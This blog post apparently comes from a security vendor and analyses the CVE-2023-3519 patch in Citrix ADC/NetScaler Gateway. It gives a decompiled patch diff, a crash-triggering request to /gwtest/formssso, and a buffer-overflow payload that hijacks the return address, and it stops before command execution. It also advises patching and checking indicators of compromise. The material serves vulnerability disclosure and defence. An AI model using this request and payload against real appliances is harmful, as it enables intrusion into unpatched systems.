In our last post we uncovered a vulnerability inside Citrix ADC and NetScaler Gateway that was in the patch fix for CVE-2023-3519. It seems that this vulnerability, while also critical, is not the one that is being exploited in the wild by threat actors.
We continued our analysis and discovered an endpoint which allowed for remote code execution without the need of any special configurations such as SAML being enabled. This vulnerability matches more closely with the description of the CVE, Citrix’s advisory and any other public research that has surfaced.
By continuing our analysis of the patch diff, we discovered ns_aaa_gwtest_get_event_and_target_names
had some changes which are shown below.
// Unpatched Version
if (iVar3 + 1 == iVar7 + -6) {
iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2);
pcVar8 = local_38;
if (iVar3 == 0) {
uVar9 = 0x16000c;
} else {
*(undefined *)(param_2 + iVar3) = 0;
uVar9 = 0;
}
}
// Patched Version
if ((iVar3 + 1 == uVar8 - 6) && (uVar9 = 0x160010, iVar3 < 0x80)) {
iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2,iVar3);
pcVar7 = local_38;
if (iVar3 == 0) {
uVar9 = 0x16000c;
} else {
*(undefined *)(param_2 + iVar3) = 0;
uVar9 = 0;
}
}
Note the additional check of iVar3
which is then passed as a parameter to ns_aaa_saml_url_decode
. Tracing the callgraph backwards we found our vulnerable function is called at the start of ns_aaa_gwtest_get_valid_fsso_server
which is available at the path /gwtest/formssso
.
Looking at this endpoint we were able to determine that it expected an event
query parameter with a value of start
or stop
. The function then URL decoded the target
query parameter with no length check. To verify we constructed the following request:
GET /gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: 192.168.1.225
Which resulted in the following crash.
After a bit of fiddling, we were then able to slot in a return address to a location in the stack where we placed some INT3 instructions (0xcc
). The payload we used is shown below.
payload = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += b'xf0xc1xffxffxffx7f%00%00CCCCCCCCDDDDDDDDxccxccxccxcc'
Again we hit our crash in GDB. This time halting on our interrupt instructions as they were executed.
The next step is to pivot this to be able to run arbitrary commands, but that is a topic for another blog post.
Detecting this vulnerability is quite challenging as this endpoint behaves in a similar way when sending a non-malicious paylod on both patched and unpatched instances (500 error).
While we find that version based checks (relying on Last-Modified
or hashes and version numbers) can often be less accurate, at the time of writing this blog post, there are no other ways to detect this vulnerability without attempting the exploit.
We suggest that organizations review the Indicators of Compromise from CISA and patch their instances of Citrix ADC and NetScaler Gateway ASAP as per the Citrix advisory.
Additional detection and exploitation mechanisms have been released for customers of our Attack Surface Management platform, providing coverage over this emerging, and in the wild exploited threat.